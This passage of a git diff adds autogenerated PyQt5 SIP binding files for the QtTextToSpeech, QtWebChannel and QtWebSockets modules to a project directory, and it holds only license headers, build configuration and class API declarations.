*aDevice, bool autoCommit); + QTouchEventSequence(QWindow *window, QTouchDevice *aDevice, bool autoCommit); + }; + + QTest::QTouchEventSequence touchEvent(QWidget *widget, QTouchDevice *device); +%MethodCode + // Disable auto-committing so that we can copy the instance around. + sipRes = new QTest::QTouchEventSequence(QTest::touchEvent(a0, a1, false)); +%End + + QTest::QTouchEventSequence touchEvent(QWindow *window, QTouchDevice *device); +%MethodCode + // Disable auto-committing so that we can copy the instance around. + sipRes = new QTest::QTouchEventSequence(QTest::touchEvent(a0, a1, false)); +%End +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtTextToSpeech/QtTextToSpeech.toml b/OTHERS/Jarvis/ools/PyQt5/bindings/QtTextToSpeech/QtTextToSpeech.toml new file mode 100644 index 00000000..09be0496 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtTextToSpeech/QtTextToSpeech.toml @@ -0,0 +1,6 @@ +# Automatically generated configuration for PyQt5.QtTextToSpeech. + +sip-version = "6.4.0" +sip-abi-version = "12.8" +module-tags = ["Qt_5_15_0", "WS_WIN"] +module-disabled-features = [] diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtTextToSpeech/QtTextToSpeechmod.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtTextToSpeech/QtTextToSpeechmod.sip new file mode 100644 index 00000000..bcaed6b6 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtTextToSpeech/QtTextToSpeechmod.sip @@ -0,0 +1,49 @@ +// QtTextToSpeechmod.sip generated by MetaSIP +// +// This file is part of the QtTextToSpeech Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%Module(name=PyQt5.QtTextToSpeech, keyword_arguments="Optional", use_limited_api=True) + +%Import QtCore/QtCoremod.sip + +%Copying +Copyright (c) 2021 Riverbank Computing Limited + +This file is part of PyQt5. + +This file may be used under the terms of the GNU General Public License +version 3.0 as published by the Free Software Foundation and appearing in +the file LICENSE included in the packaging of this file. Please review the +following information to ensure the GNU General Public License version 3.0 +requirements will be met: http://www.gnu.org/copyleft/gpl.html. + +If you do not wish to use this file under the terms of the GPL version 3.0 +then you may purchase a commercial license. For more information contact +info@riverbankcomputing.com. + +This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. +%End + +%DefaultSupertype sip.simplewrapper + +%Include qtexttospeech.sip +%Include qvoice.sip diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtTextToSpeech/qtexttospeech.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtTextToSpeech/qtexttospeech.sip new file mode 100644 index 00000000..18bd851f --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtTextToSpeech/qtexttospeech.sip @@ -0,0 +1,101 @@ +// qtexttospeech.sip generated by MetaSIP +// +// This file is part of the QtTextToSpeech Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%If (Qt_5_15_0 -) + +class QTextToSpeech : QObject +{ +%TypeHeaderCode +#include +%End + +%ConvertToSubClassCode + static struct class_graph { + const char *name; + sipTypeDef **type; + int yes, no; + } graph[] = { + {sipName_QTextToSpeech, &sipType_QTextToSpeech, -1, -1}, + }; + + int i = 0; + + sipType = NULL; + + do + { + struct class_graph *cg = &graph[i]; + + if (cg->name != NULL && sipCpp->inherits(cg->name)) + { + sipType = *cg->type; + i = cg->yes; + } + else + i = cg->no; + } + while (i >= 0); +%End + +public: + enum State + { + Ready, + Speaking, + Paused, + BackendError, + }; + + explicit QTextToSpeech(QObject *parent /TransferThis/ = 0); + QTextToSpeech(const QString &engine, QObject *parent /TransferThis/ = 0); + QTextToSpeech::State state() const; + QVector availableLocales() const; + QLocale locale() const; + QVoice voice() const; + QVector availableVoices() const; + double rate() const; + double pitch() const; + double volume() const; + static QStringList availableEngines(); + +public slots: + void say(const QString &text); + void stop(); + void pause(); + void resume(); + void setLocale(const QLocale &locale); + void setRate(double rate); + void setPitch(double pitch); + void setVolume(double volume); + void setVoice(const QVoice &voice); + +signals: + void stateChanged(QTextToSpeech::State state); + void localeChanged(const QLocale &locale); + void rateChanged(double rate); + void pitchChanged(double pitch); + void volumeChanged(double volume /Constrained/); + void volumeChanged(int volume); + void voiceChanged(const QVoice &voice); +}; + +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtTextToSpeech/qvoice.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtTextToSpeech/qvoice.sip new file mode 100644 index 00000000..10041ca8 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtTextToSpeech/qvoice.sip @@ -0,0 +1,60 @@ +// qvoice.sip generated by MetaSIP +// +// This file is part of the QtTextToSpeech Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%If (Qt_5_15_0 -) + +class QVoice +{ +%TypeHeaderCode +#include +%End + +public: + enum Gender + { + Male, + Female, + Unknown, + }; + + enum Age + { + Child, + Teenager, + Adult, + Senior, + Other, + }; + + QVoice(); + QVoice(const QVoice &other); + ~QVoice(); + bool operator==(const QVoice &other); + bool operator!=(const QVoice &other); + QString name() const; + QVoice::Gender gender() const; + QVoice::Age age() const; + static QString genderName(QVoice::Gender gender); + static QString ageName(QVoice::Age age); +}; + +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtWebChannel/QtWebChannel.toml b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWebChannel/QtWebChannel.toml new file mode 100644 index 00000000..a3b7f903 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWebChannel/QtWebChannel.toml @@ -0,0 +1,6 @@ +# Automatically generated configuration for PyQt5.QtWebChannel. + +sip-version = "6.4.0" +sip-abi-version = "12.8" +module-tags = ["Qt_5_15_0", "WS_WIN"] +module-disabled-features = [] diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtWebChannel/QtWebChannelmod.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWebChannel/QtWebChannelmod.sip new file mode 100644 index 00000000..4dcadcb1 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWebChannel/QtWebChannelmod.sip @@ -0,0 +1,49 @@ +// QtWebChannelmod.sip generated by MetaSIP +// +// This file is part of the QtWebChannel Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%Module(name=PyQt5.QtWebChannel, keyword_arguments="Optional", use_limited_api=True) + +%Import QtCore/QtCoremod.sip + +%Copying +Copyright (c) 2021 Riverbank Computing Limited + +This file is part of PyQt5. + +This file may be used under the terms of the GNU General Public License +version 3.0 as published by the Free Software Foundation and appearing in +the file LICENSE included in the packaging of this file. Please review the +following information to ensure the GNU General Public License version 3.0 +requirements will be met: http://www.gnu.org/copyleft/gpl.html. + +If you do not wish to use this file under the terms of the GPL version 3.0 +then you may purchase a commercial license. For more information contact +info@riverbankcomputing.com. + +This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. +%End + +%DefaultSupertype sip.simplewrapper + +%Include qwebchannel.sip +%Include qwebchannelabstracttransport.sip diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtWebChannel/qwebchannel.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWebChannel/qwebchannel.sip new file mode 100644 index 00000000..c759d1e8 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWebChannel/qwebchannel.sip @@ -0,0 +1,81 @@ +// qwebchannel.sip generated by MetaSIP +// +// This file is part of the QtWebChannel Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%If (Qt_5_4_0 -) + +class QWebChannel : QObject +{ +%TypeHeaderCode +#include +%End + +%ConvertToSubClassCode + static struct class_graph { + const char *name; + sipTypeDef **type; + int yes, no; + } graph[] = { + {sipName_QWebChannelAbstractTransport, &sipType_QWebChannelAbstractTransport, -1, 1}, + {sipName_QWebChannel, &sipType_QWebChannel, -1, -1}, + }; + + int i = 0; + + sipType = NULL; + + do + { + struct class_graph *cg = &graph[i]; + + if (cg->name != NULL && sipCpp->inherits(cg->name)) + { + sipType = *cg->type; + i = cg->yes; + } + else + i = cg->no; + } + while (i >= 0); +%End + +public: + explicit QWebChannel(QObject *parent /TransferThis/ = 0); + virtual ~QWebChannel(); + void registerObjects(const QHash &objects); + QHash registeredObjects() const; + void registerObject(const QString &id, QObject *object); + void deregisterObject(QObject *object); + bool blockUpdates() const; + void setBlockUpdates(bool block); + +signals: + void blockUpdatesChanged(bool block); + +public slots: + void connectTo(QWebChannelAbstractTransport *transport); + void disconnectFrom(QWebChannelAbstractTransport *transport); + +private: + QWebChannel(const QWebChannel &); +}; + +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtWebChannel/qwebchannelabstracttransport.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWebChannel/qwebchannelabstracttransport.sip new file mode 100644 index 00000000..ae7b9444 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWebChannel/qwebchannelabstracttransport.sip @@ -0,0 +1,42 @@ +// qwebchannelabstracttransport.sip generated by MetaSIP +// +// This file is part of the QtWebChannel Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%If (Qt_5_4_0 -) + +class QWebChannelAbstractTransport : QObject +{ +%TypeHeaderCode +#include +%End + +public: + explicit QWebChannelAbstractTransport(QObject *parent /TransferThis/ = 0); + virtual ~QWebChannelAbstractTransport(); + +public slots: + virtual void sendMessage(const QJsonObject &message) = 0; + +signals: + void messageReceived(const QJsonObject &message, QWebChannelAbstractTransport *transport); +}; + +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtWebSockets/QtWebSockets.toml b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWebSockets/QtWebSockets.toml new file mode 100644 index 00000000..7605ba68 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWebSockets/QtWebSockets.toml @@ -0,0 +1,6 @@ +# Automatically generated configuration for PyQt5.QtWebSockets. + +sip-version = "6.4.0" +sip-abi-version = "12.8" +module-tags = ["Qt_5_15_0", "WS_WIN"] +module-disabled-features = [] diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtWebSockets/QtWebSocketsmod.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWebSockets/QtWebSocketsmod.sip new file mode 100644 index 00000000..01eaf964 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWebSockets/QtWebSocketsmod.sip @@ -0,0 +1,53 @@ +// QtWebSocketsmod.sip generated by MetaSIP +// +// This file is part of the QtWebSockets Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%Module(name=PyQt5.QtWebSockets, keyword_arguments="Optional", use_limited_api=True) + +%Import QtCore/QtCoremod.sip +%Import QtNetwork/QtNetworkmod.sip + +%Copying +Copyright (c) 2021 Riverbank Computing Limited + +This file is part of PyQt5. + +This file may be used under the terms of the GNU General Public License +version 3.0 as published by the Free Software Foundation and appearing in +the file LICENSE included in the packaging of this file. Please review the +following information to ensure the GNU General Public License version 3.0 +requirements will be met: http://www.gnu.org/copyleft/gpl.html. + +If you do not wish to use this file under the terms of the GPL version 3.0 +then you may purchase a commercial license. For more information contact +info@riverbankcomputing.com. + +This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. +%End + +%DefaultSupertype sip.simplewrapper + +%Include qmaskgenerator.sip +%Include qwebsocket.sip +%Include qwebsocketcorsauthenticator.sip +%Include qwebsocketprotocol.sip +%Include qwebsocketserver.sip diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtWebSockets/qmaskgenerator.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWebSockets/qmaskgenerator.sip new file mode 100644 index 00000000..f8479adc --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWebSockets/qmaskgenerator.sip @@ -0,0 +1,38 @@ +// qmaskgenerator.sip generated by MetaSIP +// +// This file is part of the QtWebSockets Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%If (Qt_5_3_0 -) + +class QMaskGenerator : QObject +{ +%TypeHeaderCode +#include +%End + +public: + explicit QMaskGenerator(QObject *parent /TransferThis/ = 0); + virtual ~QMaskGenerator(); + virtual bool seed() = 0; + virtual quint32 nextMask() = 0; +}; + +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtWebSockets/qwebsocket.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWebSockets/qwebsocket.sip new file mode 100644 index 00000000..78ff765d --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWebSockets/qwebsocket.sip @@ -0,0 +1,172 @@ +// qwebsocket.sip generated by MetaSIP +// +// This file is part of the QtWebSockets Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%If (Qt_5_3_0 -) + +class QWebSocket : QObject +{ +%TypeHeaderCode +#include +%End + +%ConvertToSubClassCode + static struct class_graph { + const char *name; + sipTypeDef **type; + int yes, no; + } graph[] = { + {sipName_QWebSocket, &sipType_QWebSocket, -1, 1}, + {sipName_QWebSocketServer, &sipType_QWebSocketServer, -1, 2}, + {sipName_QMaskGenerator, &sipType_QMaskGenerator, -1, -1}, + }; + + int i = 0; + + sipType = NULL; + + do + { + struct class_graph *cg = &graph[i]; + + if (cg->name != NULL && sipCpp->inherits(cg->name)) + { + sipType = *cg->type; + i = cg->yes; + } + else + i = cg->no; + } + while (i >= 0); +%End + +public: + QWebSocket(const QString &origin = QString(), QWebSocketProtocol::Version version = QWebSocketProtocol::VersionLatest, QObject *parent /TransferThis/ = 0); + virtual ~QWebSocket(); + void abort(); + QAbstractSocket::SocketError error() const; + QString errorString() const; + bool flush() /ReleaseGIL/; + bool isValid() const; + QHostAddress localAddress() const; + quint16 localPort() const; + QAbstractSocket::PauseModes pauseMode() const; + QHostAddress peerAddress() const; + QString peerName() const; + quint16 peerPort() const; + QNetworkProxy proxy() const; + void setProxy(const QNetworkProxy &networkProxy); + void setMaskGenerator(const QMaskGenerator *maskGenerator /KeepReference/); + const QMaskGenerator *maskGenerator() const; + qint64 readBufferSize() const; + void setReadBufferSize(qint64 size); + void resume() /ReleaseGIL/; + void setPauseMode(QAbstractSocket::PauseModes pauseMode); + QAbstractSocket::SocketState state() const; + QWebSocketProtocol::Version version() const; + QString resourceName() const; + QUrl requestUrl() const; + QString origin() const; + QWebSocketProtocol::CloseCode closeCode() const; + QString closeReason() const; + qint64 sendTextMessage(const QString &message) /ReleaseGIL/; + qint64 sendBinaryMessage(const QByteArray &data) /ReleaseGIL/; +%If (PyQt_SSL) + void ignoreSslErrors(const QList &errors); +%End +%If (PyQt_SSL) + void setSslConfiguration(const QSslConfiguration &sslConfiguration); +%End +%If (PyQt_SSL) + QSslConfiguration sslConfiguration() const; +%End +%If (Qt_5_6_0 -) + QNetworkRequest request() const; +%End + +public slots: + void close(QWebSocketProtocol::CloseCode closeCode = QWebSocketProtocol::CloseCodeNormal, const QString &reason = QString()) /ReleaseGIL/; + void open(const QUrl &url) /ReleaseGIL/; +%If (Qt_5_6_0 -) + void open(const QNetworkRequest &request) /ReleaseGIL/; +%End + void ping(const QByteArray &payload = QByteArray()) /ReleaseGIL/; +%If (PyQt_SSL) + void ignoreSslErrors(); +%End + +signals: + void aboutToClose(); + void connected(); + void disconnected(); + void stateChanged(QAbstractSocket::SocketState state); + void proxyAuthenticationRequired(const QNetworkProxy &proxy, QAuthenticator *pAuthenticator); + void readChannelFinished(); + void textFrameReceived(const QString &frame, bool isLastFrame); + void binaryFrameReceived(const QByteArray &frame, bool isLastFrame); + void textMessageReceived(const QString &message); + void binaryMessageReceived(const QByteArray &message); + void error(QAbstractSocket::SocketError error); + void pong(quint64 elapsedTime, const QByteArray &payload); + void bytesWritten(qint64 bytes); +%If (PyQt_SSL) + void sslErrors(const QList &errors); +%End +%If (Qt_5_8_0 -) +%If (PyQt_SSL) + void preSharedKeyAuthenticationRequired(QSslPreSharedKeyAuthenticator *authenticator); +%End +%End + +public: +%If (Qt_5_12_0 -) + qint64 bytesToWrite() const; +%End +%If (Qt_5_15_0 -) + void setMaxAllowedIncomingFrameSize(quint64 maxAllowedIncomingFrameSize); +%End +%If (Qt_5_15_0 -) + quint64 maxAllowedIncomingFrameSize() const; +%End +%If (Qt_5_15_0 -) + void setMaxAllowedIncomingMessageSize(quint64 maxAllowedIncomingMessageSize); +%End +%If (Qt_5_15_0 -) + quint64 maxAllowedIncomingMessageSize() const; +%End +%If (Qt_5_15_0 -) + static quint64 maxIncomingMessageSize(); +%End +%If (Qt_5_15_0 -) + static quint64 maxIncomingFrameSize(); +%End +%If (Qt_5_15_0 -) + void setOutgoingFrameSize(quint64 outgoingFrameSize); +%End +%If (Qt_5_15_0 -) + quint64 outgoingFrameSize() const; +%End +%If (Qt_5_15_0 -) + static quint64 maxOutgoingFrameSize(); +%End +}; + +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtWebSockets/qwebsocketcorsauthenticator.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWebSockets/qwebsocketcorsauthenticator.sip new file mode 100644 index 00000000..957d46b1 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWebSockets/qwebsocketcorsauthenticator.sip @@ -0,0 +1,41 @@ +// qwebsocketcorsauthenticator.sip generated by MetaSIP +// +// This file is part of the QtWebSockets Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%If (Qt_5_3_0 -) + +class QWebSocketCorsAuthenticator +{ +%TypeHeaderCode +#include +%End + +public: + explicit QWebSocketCorsAuthenticator(const QString &origin); + explicit QWebSocketCorsAuthenticator(const QWebSocketCorsAuthenticator &other); + ~QWebSocketCorsAuthenticator(); + void swap(QWebSocketCorsAuthenticator &other /Constrained/); + QString origin() const; + void setAllowed(bool allowed); + bool allowed() const; +}; + +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtWebSockets/qwebsocketprotocol.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWebSockets/qwebsocketprotocol.sip new file mode 100644 index 00000000..4cb1c6ad --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWebSockets/qwebsocketprotocol.sip @@ -0,0 +1,62 @@ +// qwebsocketprotocol.sip generated by MetaSIP +// +// This file is part of the QtWebSockets Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%If (Qt_5_3_0 -) + +namespace QWebSocketProtocol +{ +%TypeHeaderCode +#include +%End + + enum Version + { + VersionUnknown, + Version0, + Version4, + Version5, + Version6, + Version7, + Version8, + Version13, + VersionLatest, + }; + + enum CloseCode + { + CloseCodeNormal, + CloseCodeGoingAway, + CloseCodeProtocolError, + CloseCodeDatatypeNotSupported, + CloseCodeReserved1004, + CloseCodeMissingStatusCode, + CloseCodeAbnormalDisconnection, + CloseCodeWrongDatatype, + CloseCodePolicyViolated, + CloseCodeTooMuchData, + CloseCodeMissingExtension, + CloseCodeBadOperation, + CloseCodeTlsHandshakeFailed, + }; +}; + +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtWebSockets/qwebsocketserver.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWebSockets/qwebsocketserver.sip new file mode 100644 index 00000000..3403ee0c --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWebSockets/qwebsocketserver.sip @@ -0,0 +1,109 @@ +// qwebsocketserver.sip generated by MetaSIP +// +// This file is part of the QtWebSockets Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%If (Qt_5_3_0 -) + +class QWebSocketServer : QObject +{ +%TypeHeaderCode +#include +%End + +public: + enum SslMode + { +%If (PyQt_SSL) + SecureMode, +%End + NonSecureMode, + }; + + QWebSocketServer(const QString &serverName, QWebSocketServer::SslMode secureMode, QObject *parent /TransferThis/ = 0); + virtual ~QWebSocketServer(); + bool listen(const QHostAddress &address = QHostAddress::SpecialAddress::Any, quint16 port = 0); + void close(); + bool isListening() const; + void setMaxPendingConnections(int numConnections); + int maxPendingConnections() const; + quint16 serverPort() const; + QHostAddress serverAddress() const; + QWebSocketServer::SslMode secureMode() const; + bool setSocketDescriptor(int socketDescriptor); + int socketDescriptor() const; + bool hasPendingConnections() const; + virtual QWebSocket *nextPendingConnection() /Factory/; + QWebSocketProtocol::CloseCode error() const; + QString errorString() const; + void pauseAccepting(); + void resumeAccepting(); + void setServerName(const QString &serverName); + QString serverName() const; + void setProxy(const QNetworkProxy &networkProxy); + QNetworkProxy proxy() const; +%If (PyQt_SSL) + void setSslConfiguration(const QSslConfiguration &sslConfiguration); +%End +%If (PyQt_SSL) + QSslConfiguration sslConfiguration() const; +%End + QList supportedVersions() const; +%If (Qt_5_4_0 -) + QUrl serverUrl() const; +%End +%If (Qt_5_9_0 -) + void handleConnection(QTcpSocket *socket) const; +%End + +signals: + void acceptError(QAbstractSocket::SocketError socketError); + void serverError(QWebSocketProtocol::CloseCode closeCode); + void originAuthenticationRequired(QWebSocketCorsAuthenticator *pAuthenticator); + void newConnection(); +%If (PyQt_SSL) + void peerVerifyError(const QSslError &error); +%End +%If (PyQt_SSL) + void sslErrors(const QList &errors); +%End + void closed(); +%If (Qt_5_8_0 -) +%If (PyQt_SSL) + void preSharedKeyAuthenticationRequired(QSslPreSharedKeyAuthenticator *authenticator); +%End +%End + +public: +%If (Qt_5_12_0 -) + bool setNativeDescriptor(qintptr descriptor); +%End +%If (Qt_5_12_0 -) + qintptr nativeDescriptor() const; +%End +%If (Qt_5_14_0 -) + void setHandshakeTimeout(int msec); +%End +%If (Qt_5_14_0 -) + int handshakeTimeoutMS() const; +%End +}; + +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/QtWidgets.toml b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/QtWidgets.toml new file mode 100644 index 00000000..83746de8 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/QtWidgets.toml @@ -0,0 +1,6 @@ +# Automatically generated configuration for PyQt5.QtWidgets. + +sip-version = "6.4.0" +sip-abi-version = "12.8" +module-tags = ["Qt_5_15_0", "WS_WIN"] +module-disabled-features = [] diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/QtWidgetsmod.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/QtWidgetsmod.sip new file mode 100644 index 00000000..1a58ecf8 --- 